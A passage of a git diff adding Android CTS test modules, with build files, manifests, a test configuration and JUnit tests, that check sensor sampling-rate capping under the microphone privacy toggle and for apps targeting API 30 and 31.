+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.sensorratepermission.cts">
+
+    <application />
+
+</manifest>
diff --git a/tests/sensor/sensorratepermission/AndroidTest.xml b/tests/sensor/sensorratepermission/AndroidTest.xml
new file mode 100644
index 0000000..24013d1
--- /dev/null
+++ b/tests/sensor/sensorratepermission/AndroidTest.xml
@@ -0,0 +1,80 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<configuration description="Config for CTS Sensor Manager test cases">
+    <option name="test-suite-tag" value="cts"/>
+    <option name="config-descriptor:metadata" key="component" value="framework"/>
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi"/>
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app"/>
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user"/>
+
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true"/>
+
+        <option name="test-file-name" value="CtsSensorRatePermissionReturnedRateInfo.apk"/>
+        <option name="test-file-name" value="CtsSensorRatePermissionEventConnectionResampling.apk"/>
+        <!-- This APK is a helper app to test the resampling of SensorEventConnections -->
+        <option name="test-file-name" value="CtsSensorRatePermissionMicToggleOffAPI25.apk"/>
+        <option name="test-file-name" value="CtsSensorRatePermissionDirectReportAPI30.apk"/>
+        <option name="test-file-name" value="CtsSensorRatePermissionDirectReportAPI31.apk"/>
+        <option name="test-file-name" value="CtsSensorRatePermissionEventConnectionAPI30.apk"/>
+        <option name="test-file-name" value="CtsSensorRatePermissionEventConnectionAPI31.apk"/>
+        <option name="test-file-name" value="CtsSensorRatePermissionDebuggableAPI31.apk"/>
+    </target_preparer>
+
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <option name="run-command" value="dumpsys sensorservice restrict .cts" />
+        <option name="run-command" value="cmd sensor_privacy disable 0 microphone" />
+        <option name="teardown-command" value="dumpsys sensorservice enable" />
+        <option name="teardown-command" value="cmd sensor_privacy reset 0 microphone" />
+    </target_preparer>
+
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest">
+        <option name="package" value="android.sensorratepermission.cts.returnedrateinfo"/>
+        <option name="class" value="android.sensorratepermission.cts.returnedrateinfo.ReturnedRateInfoTest"/>
+    </test>
+
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest">
+        <option name="package" value="android.sensorratepermission.cts.resampling"/>
+        <option name="class" value="android.sensorratepermission.cts.resampling.ResamplingTest"/>
+    </test>
+
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest">
+        <option name="package" value="android.sensorratepermission.cts.directreportapi30"/>
+        <option name="class" value="android.sensorratepermission.cts.directreportapi30.DirectReportAPI30Test"/>
+    </test>
+
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest">
+        <option name="package" value="android.sensorratepermission.cts.directreportapi31"/>
+        <option name="class" value="android.sensorratepermission.cts.directreportapi31.DirectReportAPI31Test"/>
+    </test>
+
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest">
+        <option name="package" value="android.sensorratepermission.cts.eventconnectionapi31"/>
+        <option name="class" value="android.sensorratepermission.cts.eventconnectionapi31.EventConnectionAPI31Test"/>
+    </test>
+
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest">
+        <option name="package" value="android.sensorratepermission.cts.eventconnectionapi30"/>
+        <option name="class" value="android.sensorratepermission.cts.eventconnectionapi30.EventConnectionAPI30Test"/>
+    </test>
+
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest">
+        <option name="package" value="android.sensorratepermission.cts.debuggableapi31"/>
+        <option name="class" value="android.sensorratepermission.cts.debuggableapi31.DebuggableAPI31Test"/>
+    </test>
+</configuration>
+
diff --git a/tests/sensor/sensorratepermission/DebuggableAPI31/Android.bp b/tests/sensor/sensorratepermission/DebuggableAPI31/Android.bp
new file mode 100644
index 0000000..348159b
--- /dev/null
+++ b/tests/sensor/sensorratepermission/DebuggableAPI31/Android.bp
@@ -0,0 +1,48 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsSensorRatePermissionDebuggableAPI31",
+    defaults: ["cts_defaults"],
+    sdk_version: "test_current",
+    srcs: [
+        "src/**/*.java",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    // include both the 32 and 64 bit versions
+    compile_multilib: "both",
+
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "truth-prebuilt",
+        "androidx.annotation_annotation",
+        "cts-sensors-tests",
+    ],
+    jni_libs: [
+        "libcts-sensors-ndk-jni",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    stl: "c++_shared",
+}
\ No newline at end of file
diff --git a/tests/sensor/sensorratepermission/DebuggableAPI31/AndroidManifest.xml b/tests/sensor/sensorratepermission/DebuggableAPI31/AndroidManifest.xml
new file mode 100755
index 0000000..ae905d2
--- /dev/null
+++ b/tests/sensor/sensorratepermission/DebuggableAPI31/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.sensorratepermission.cts.debuggableapi31"
+          android:targetSandboxVersion="2">
+
+    <uses-permission android:name="android.permission.WAKE_LOCK" />
+
+    <uses-sdk android:minSdkVersion="31" android:targetSdkVersion="31"/>
+
+    <application android:label="Debuggable API30" android:debuggable="true">
+        <uses-library android:name="android.test.runner"/>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:functionalTest="true"
+                     android:targetPackage="android.sensorratepermission.cts.debuggableapi31"
+                     android:label="Debuggable API 31">
+    </instrumentation>
+</manifest>
diff --git a/tests/sensor/sensorratepermission/DebuggableAPI31/src/android/sensorratepermission/cts/debuggableapi31/DebuggableAPI31Test.java b/tests/sensor/sensorratepermission/DebuggableAPI31/src/android/sensorratepermission/cts/debuggableapi31/DebuggableAPI31Test.java
new file mode 100644
index 0000000..2f92157
--- /dev/null
+++ b/tests/sensor/sensorratepermission/DebuggableAPI31/src/android/sensorratepermission/cts/debuggableapi31/DebuggableAPI31Test.java
@@ -0,0 +1,115 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.sensorratepermission.cts.debuggableapi31;
+
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.hardware.HardwareBuffer;
+import android.hardware.Sensor;
+import android.hardware.SensorDirectChannel;
+import android.hardware.SensorManager;
+import android.hardware.cts.helpers.SensorRatePermissionEventConnectionTestHelper;
+import android.hardware.cts.helpers.TestSensorEnvironment;
+import android.hardware.cts.helpers.TestSensorEventListener;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.util.Collection;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Test app that runs in debuggable mode, API 31, and requests >= 200 Hz sampling rate
+ *
+ * Expected behavior:
+ * - A Security Exception is thrown when trying to create a connection with the sensor service.
+ */
+@RunWith(Parameterized.class)
+public class DebuggableAPI31Test {
+    private static SensorManager mSensorManager;
+    private static Context mContext;
+
+    private final int sensorType;
+
+    public DebuggableAPI31Test(int sensorType) {
+        this.sensorType = sensorType;
+    }
+
+    @Parameterized.Parameters
+    public static Collection cappedSensorTypeSet() {
+        return SensorRatePermissionEventConnectionTestHelper.CAPPED_SENSOR_TYPE_SET;
+    }
+
+    @Before
+    public void setUp() {
+        mContext = InstrumentationRegistry.getInstrumentation().getContext();
+        mSensorManager = mContext.getSystemService(SensorManager.class);
+    }
+
+    @Test
+    public void testRegisterListener() {
+        try {
+            Sensor sensor = mSensorManager.getDefaultSensor(sensorType);
+            if (sensor == null) {
+                return;
+            }
+            TestSensorEnvironment testSensorEnvironment = new TestSensorEnvironment(
+                    mContext,
+                    sensor,
+                    SensorManager.SENSOR_DELAY_FASTEST,
+                    (int) TimeUnit.SECONDS.toMicros(5));
+            TestSensorEventListener listener = new TestSensorEventListener(testSensorEnvironment);
+            boolean res = mSensorManager.registerListener(
+                    listener,
+                    sensor,
+                    testSensorEnvironment.getRequestedSamplingPeriodUs(),
+                    testSensorEnvironment.getMaxReportLatencyUs());
+            fail("Should have thrown a SecurityException!");
+        } catch (Exception e) {
+            // Expected
+        }
+    }
+
+    @Test
+    public void testDirectChannel() {
+        try {
+            Sensor s = mSensorManager.getDefaultSensor(sensorType);
+            if (s == null) {
+                return;
+            }
+            if (!s.isDirectChannelTypeSupported(SensorDirectChannel.TYPE_HARDWARE_BUFFER)
+                    || s.getHighestDirectReportRateLevel() <= SensorDirectChannel.RATE_FAST) {
+                return;
+            }
+            int rateLevel = SensorDirectChannel.RATE_VERY_FAST;
+            HardwareBuffer hardwareBuffer = HardwareBuffer.create(
+                    1000, 1, HardwareBuffer.BLOB, 1,
+                    HardwareBuffer.USAGE_CPU_READ_OFTEN | HardwareBuffer.USAGE_GPU_DATA_BUFFER
+                            | HardwareBuffer.USAGE_SENSOR_DIRECT_DATA);
+            SensorDirectChannel channel = mSensorManager.createDirectChannel(hardwareBuffer);
+            channel.configure(s, rateLevel);
+            fail("Should have thrown a SecurityException");
+        } catch (SecurityException e) {
+            // Expected
+        }
+    }
+}
\ No newline at end of file
diff --git a/tests/sensor/sensorratepermission/DirectReportAPI30/Android.bp b/tests/sensor/sensorratepermission/DirectReportAPI30/Android.bp
new file mode 100644
index 0000000..12efd9b
--- /dev/null
+++ b/tests/sensor/sensorratepermission/DirectReportAPI30/Android.bp
@@ -0,0 +1,48 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsSensorRatePermissionDirectReportAPI30",
+    defaults: ["cts_defaults"],
+    sdk_version: "test_current",
+    srcs: [
+        "src/**/*.java",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    // include both the 32 and 64 bit versions
+    compile_multilib: "both",
+
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "truth-prebuilt",
+        "androidx.annotation_annotation",
+        "cts-sensors-tests",
+    ],
+    jni_libs: [
+        "libcts-sensors-ndk-jni",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    stl: "c++_shared",
+}
\ No newline at end of file
diff --git a/tests/sensor/sensorratepermission/DirectReportAPI30/AndroidManifest.xml b/tests/sensor/sensorratepermission/DirectReportAPI30/AndroidManifest.xml
new file mode 100755
index 0000000..de9434e
--- /dev/null
+++ b/tests/sensor/sensorratepermission/DirectReportAPI30/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.sensorratepermission.cts.directreportapi30"
+          android:targetSandboxVersion="2">
+
+    <uses-permission android:name="android.permission.WAKE_LOCK" />
+
+    <uses-sdk android:minSdkVersion="30" android:targetSdkVersion="30"/>
+
+    <application android:label="DirectReportAPI30">
+        <uses-library android:name="android.test.runner"/>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:functionalTest="true"
+                     android:targetPackage="android.sensorratepermission.cts.directreportapi30"
+                     android:label="Direct Report API 30">
+    </instrumentation>
+</manifest>
diff --git a/tests/sensor/sensorratepermission/DirectReportAPI30/src/android/sensorratepermission/cts/directreportapi30/DirectReportAPI30Test.java b/tests/sensor/sensorratepermission/DirectReportAPI30/src/android/sensorratepermission/cts/directreportapi30/DirectReportAPI30Test.java
new file mode 100644
index 0000000..b97a2cc
--- /dev/null
+++ b/tests/sensor/sensorratepermission/DirectReportAPI30/src/android/sensorratepermission/cts/directreportapi30/DirectReportAPI30Test.java
@@ -0,0 +1,189 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.sensorratepermission.cts.directreportapi30;
+
+import android.content.Context;
+import android.hardware.HardwareBuffer;
+import android.hardware.Sensor;
+import android.hardware.SensorDirectChannel;
+import android.hardware.SensorManager;
+import android.hardware.SensorPrivacyManager;
+import android.hardware.cts.SensorDirectReportTest;
+import android.hardware.cts.helpers.SensorCtsHelper;
+import android.hardware.cts.helpers.SensorRatePermissionDirectReportTestHelper;
+import android.os.SystemClock;
+import android.os.UserHandle;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Assume;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.util.Collection;
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Test sampling rate obtained by direct connections when:
+ * - The mic toggle is on and off
+ * - App targets API 30
+ *
+ * Expected behaviors:
+ * - Sampling rate is capped when the toggle is on
+ * - Sampling rate is not capped when the toggle is off
+ */
+@RunWith(Parameterized.class)
+public class DirectReportAPI30Test {
+    private static SensorRatePermissionDirectReportTestHelper mDirectReportTestHelper;
+    private static SensorPrivacyManager mSensorPrivacyManager;
+    private static SensorManager mSensorManager;
+    private static int mUserID;
+    private final int sensorType;
+
+    public DirectReportAPI30Test(int sensorType) {
+        this.sensorType = sensorType;
+    }
+
+    @Parameterized.Parameters
+    public static Collection cappedSensorTypeSet() {
+        return SensorRatePermissionDirectReportTestHelper.CAPPED_SENSOR_TYPE_SET;
+    }
+
+    @Before
+    public void setUp() {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        mDirectReportTestHelper = new SensorRatePermissionDirectReportTestHelper(context,
+                sensorType);
+        Assume.assumeTrue("Failed to create mDirectReportTestHelper!",
+                mDirectReportTestHelper != null);
+
+        mSensorManager = context.getSystemService(SensorManager.class);
+        mSensorPrivacyManager = context.getSystemService(SensorPrivacyManager.class);
+        mUserID = UserHandle.myUserId();
+    }
+
+    @After
+    public void tearDown() throws InterruptedException {
+        if (mDirectReportTestHelper != null) {
+            mDirectReportTestHelper.flipAndAssertMicToggleOff(mUserID, mSensorPrivacyManager);
+        }
+    }
+
+    @Test
+    public void testSamplingRateMicToggleOff() throws InterruptedException {
+        // Only run this test if we know for sure that the highest direct report rate level of
+        // corresponds to a sampling rate of > 200 Hz
+        if (mDirectReportTestHelper.getSensor().getHighestDirectReportRateLevel()
+                <= SensorDirectChannel.RATE_FAST) {
+            return;
+        }
+
+        mDirectReportTestHelper.flipAndAssertMicToggleOff(mUserID, mSensorPrivacyManager);
+        List<SensorDirectReportTest.DirectReportSensorEvent> events =
+                mDirectReportTestHelper.getSensorEvents(SensorDirectChannel.RATE_VERY_FAST);
+
+        double obtainedRate = SensorRatePermissionDirectReportTestHelper.computeAvgRate(events,
+                Long.MIN_VALUE, Long.MAX_VALUE);
+
+        Assert.assertTrue(mDirectReportTestHelper.errorWhenBelowExpectedRate(),
+                obtainedRate > SensorRatePermissionDirectReportTestHelper.CAPPED_SAMPLE_RATE_HZ);
+    }
+
+    @Test
+    public void testSamplingRateMicToggleOn() throws InterruptedException {
+        mDirectReportTestHelper.flipAndAssertMicToggleOn(mUserID, mSensorPrivacyManager);
+        List<SensorDirectReportTest.DirectReportSensorEvent> events =
+                mDirectReportTestHelper.getSensorEvents(SensorDirectChannel.RATE_VERY_FAST);
+
+        double obtainedRate = SensorRatePermissionDirectReportTestHelper.computeAvgRate(events,
+                Long.MIN_VALUE, Long.MAX_VALUE);
+
+        Assert.assertTrue(mDirectReportTestHelper.errorWhenExceedCappedRate(),
+                obtainedRate <= SensorRatePermissionDirectReportTestHelper.CAPPED_SAMPLE_RATE_HZ);
+    }
+
+    /**
+     * Test the case where a connection is ongoing while the mic toggle changes its state:
+     * off -> on -> off. This test is to show that the sensor service is able to cap/uncap the
+     * rate of ongoing direct sensor connections when the state of the mic toggle changes.
+     */
+    @Test
+    public void testSamplingRateMicToggleOffOnOff() throws InterruptedException {
+        // Only run this test if we know for sure that the highest direct report rate level of
+        // the sensor corresponds to a sampling rate of > 200 Hz and that the sensor supports
+        // direct channel.
+        Sensor s = mDirectReportTestHelper.getSensor();
+        if (s.getHighestDirectReportRateLevel() <= SensorDirectChannel.RATE_FAST
+                || !s.isDirectChannelTypeSupported(SensorDirectChannel.TYPE_HARDWARE_BUFFER)) {
+            return;
+        }
+        // Start with the mic toggle off
+        mDirectReportTestHelper.flipAndAssertMicToggleOff(mUserID, mSensorPrivacyManager);
+
+        // Configure a direct channel.
+        int sensorEventCount = 5500; // 800 Hz * 2.5s  + 200 Hz * 2.5s + extra
+        int sharedMemorySize = sensorEventCount *
+                SensorRatePermissionDirectReportTestHelper.SENSORS_EVENT_SIZE;
+        HardwareBuffer hardwareBuffer = HardwareBuffer.create(
+                sharedMemorySize, 1, HardwareBuffer.BLOB, 1,
+                HardwareBuffer.USAGE_CPU_READ_OFTEN | HardwareBuffer.USAGE_GPU_DATA_BUFFER
+                        | HardwareBuffer.USAGE_SENSOR_DIRECT_DATA);
+        SensorDirectChannel channel = mSensorManager.createDirectChannel(hardwareBuffer);
+        int token = channel.configure(s, SensorDirectChannel.RATE_VERY_FAST);
+
+        // Flip the mic toggle on
+        mDirectReportTestHelper.flipAndAssertMicToggleOn(mUserID, mSensorPrivacyManager);
+        long startMicToggleOn = SystemClock.elapsedRealtimeNanos();
+        SensorCtsHelper.sleep(
+                SensorRatePermissionDirectReportTestHelper.TEST_RUN_TIME_PERIOD_MILLISEC / 2,
+                TimeUnit.MILLISECONDS);
+        long endMicToggleOn = SystemClock.elapsedRealtimeNanos();
+
+        // Flip the mic toggle off
+        mDirectReportTestHelper.flipAndAssertMicToggleOff(mUserID, mSensorPrivacyManager);
+        long startMicToggleOff = SystemClock.elapsedRealtimeNanos();
+        SensorCtsHelper.sleep(
+                SensorRatePermissionDirectReportTestHelper.TEST_RUN_TIME_PERIOD_MILLISEC / 2,
+                TimeUnit.MILLISECONDS);
+
+        // Read the sensor events out
+        channel.configure(s, SensorDirectChannel.RATE_STOP);
+        List<SensorDirectReportTest.DirectReportSensorEvent> events =
+                mDirectReportTestHelper.readEventsFromHardwareBuffer(token,
+                        hardwareBuffer, sensorEventCount);
+        channel.close();
+
+        // Check the sampling rates when the mic toggle were on and off
+        double rateWhenMicToggleOn =
+                SensorRatePermissionDirectReportTestHelper.computeAvgRate(events,
+                        startMicToggleOn, endMicToggleOn);
+        Assert.assertTrue(mDirectReportTestHelper.errorWhenExceedCappedRate(),
+                rateWhenMicToggleOn
+                        <= SensorRatePermissionDirectReportTestHelper.CAPPED_SAMPLE_RATE_HZ);
+
+        double rateWhenMicToggleOff = SensorRatePermissionDirectReportTestHelper.computeAvgRate(
+                events, startMicToggleOff, Long.MAX_VALUE);
+        Assert.assertTrue(mDirectReportTestHelper.errorWhenBelowExpectedRate(),
+                rateWhenMicToggleOff
+                        > SensorRatePermissionDirectReportTestHelper.CAPPED_SAMPLE_RATE_HZ);
+    }
+}
\ No newline at end of file
diff --git a/tests/sensor/sensorratepermission/DirectReportAPI31/Android.bp b/tests/sensor/sensorratepermission/DirectReportAPI31/Android.bp
new file mode 100644
index 0000000..f9dc09e
--- /dev/null
+++ b/tests/sensor/sensorratepermission/DirectReportAPI31/Android.bp
@@ -0,0 +1,48 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsSensorRatePermissionDirectReportAPI31",
+    defaults: ["cts_defaults"],
+    sdk_version: "test_current",
+    srcs: [
+        "src/**/*.java",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    // include both the 32 and 64 bit versions
+    compile_multilib: "both",
+
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "truth-prebuilt",
+        "androidx.annotation_annotation",
+        "cts-sensors-tests",
+    ],
+    jni_libs: [
+        "libcts-sensors-ndk-jni",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    stl: "c++_shared",
+}
\ No newline at end of file
diff --git a/tests/sensor/sensorratepermission/DirectReportAPI31/AndroidManifest.xml b/tests/sensor/sensorratepermission/DirectReportAPI31/AndroidManifest.xml
new file mode 100755
index 0000000..b72f953
--- /dev/null
+++ b/tests/sensor/sensorratepermission/DirectReportAPI31/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.sensorratepermission.cts.directreportapi31"
+          android:targetSandboxVersion="2">
+
+    <uses-permission android:name="android.permission.WAKE_LOCK" />
+
+    <uses-sdk android:minSdkVersion="31" android:targetSdkVersion="31"/>
+
+    <application android:label="DirectReportAPI30">
+        <uses-library android:name="android.test.runner"/>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:functionalTest="true"
+                     android:targetPackage="android.sensorratepermission.cts.directreportapi31"
+                     android:label="Direct Report API 31">
+    </instrumentation>
+</manifest>
diff --git a/tests/sensor/sensorratepermission/DirectReportAPI31/src/android/sensorratepermission/cts/directreportapi31/DirectReportAPI31Test.java b/tests/sensor/sensorratepermission/DirectReportAPI31/src/android/sensorratepermission/cts/directreportapi31/DirectReportAPI31Test.java
new file mode 100644
index 0000000..ff6d658
--- /dev/null
+++ b/tests/sensor/sensorratepermission/DirectReportAPI31/src/android/sensorratepermission/cts/directreportapi31/DirectReportAPI31Test.java
@@ -0,0 +1,109 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.sensorratepermission.cts.directreportapi31;
+
+import android.content.Context;
+import android.hardware.SensorDirectChannel;
+import android.hardware.SensorPrivacyManager;
+import android.hardware.cts.SensorDirectReportTest;
+import android.hardware.cts.helpers.SensorRatePermissionDirectReportTestHelper;
+import android.hardware.cts.helpers.SensorRatePermissionEventConnectionTestHelper;
+import android.os.UserHandle;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Assume;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.util.Collection;
+import java.util.List;
+
+/**
+ * Test sampling rates obtained by direct connections when:
+ * - The mic toggle is on.
+ * - App targets API 31 (w/o having HIGH_SAMPLING_RATE_SENSORS permission)
+ *
+ * Expected behaviors:
+ * - Sampling rate is capped, regardless of the state of the toggle
+ */
+@RunWith(Parameterized.class)
+public class DirectReportAPI31Test {
+    private static SensorRatePermissionDirectReportTestHelper mDirectReportTestHelper;
+    private static SensorPrivacyManager mSensorPrivacyManager;
+    private static int mUserID;
+
+    private final int sensorType;
+
+    public DirectReportAPI31Test(int sensorType) {
+        this.sensorType = sensorType;
+    }
+
+    @Parameterized.Parameters
+    public static Collection cappedSensorTypeSet() {
+        return SensorRatePermissionEventConnectionTestHelper.CAPPED_SENSOR_TYPE_SET;
+    }
+
+    @Before
+    public void setUp() {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        mDirectReportTestHelper = new SensorRatePermissionDirectReportTestHelper(context,
+                sensorType);
+        Assume.assumeTrue("Failed to create mDirectReportTestHelper!",
+                mDirectReportTestHelper != null);
+
+        mSensorPrivacyManager = context.getSystemService(SensorPrivacyManager.class);
+        mUserID = UserHandle.myUserId();
+    }
+
+    @After
+    public void tearDown() throws InterruptedException {
+        if (mDirectReportTestHelper != null) {
+            mDirectReportTestHelper.flipAndAssertMicToggleOff(mUserID, mSensorPrivacyManager);
+        }
+    }
+
+    @Test
+    public void testSamplingRateMicToggleOn() throws InterruptedException {
+        mDirectReportTestHelper.flipAndAssertMicToggleOn(mUserID, mSensorPrivacyManager);
+        List<SensorDirectReportTest.DirectReportSensorEvent> events =
+                mDirectReportTestHelper.getSensorEvents(SensorDirectChannel.RATE_VERY_FAST);
+
+        double obtainedRate = SensorRatePermissionDirectReportTestHelper.computeAvgRate(events,
+                Long.MIN_VALUE, Long.MAX_VALUE);
+
+        Assert.assertTrue(mDirectReportTestHelper.errorWhenExceedCappedRate(),
+                obtainedRate <= SensorRatePermissionDirectReportTestHelper.CAPPED_SAMPLE_RATE_HZ);
+    }
+
+    @Test
+    public void testSamplingRateMicToggleOff() throws InterruptedException {
+        mDirectReportTestHelper.flipAndAssertMicToggleOff(mUserID, mSensorPrivacyManager);
+        List<SensorDirectReportTest.DirectReportSensorEvent> events =
+                mDirectReportTestHelper.getSensorEvents(SensorDirectChannel.RATE_VERY_FAST);
+
+        double obtainedRate = SensorRatePermissionDirectReportTestHelper.computeAvgRate(events,
+                Long.MIN_VALUE, Long.MAX_VALUE);
+
+        Assert.assertTrue(mDirectReportTestHelper.errorWhenExceedCappedRate(),
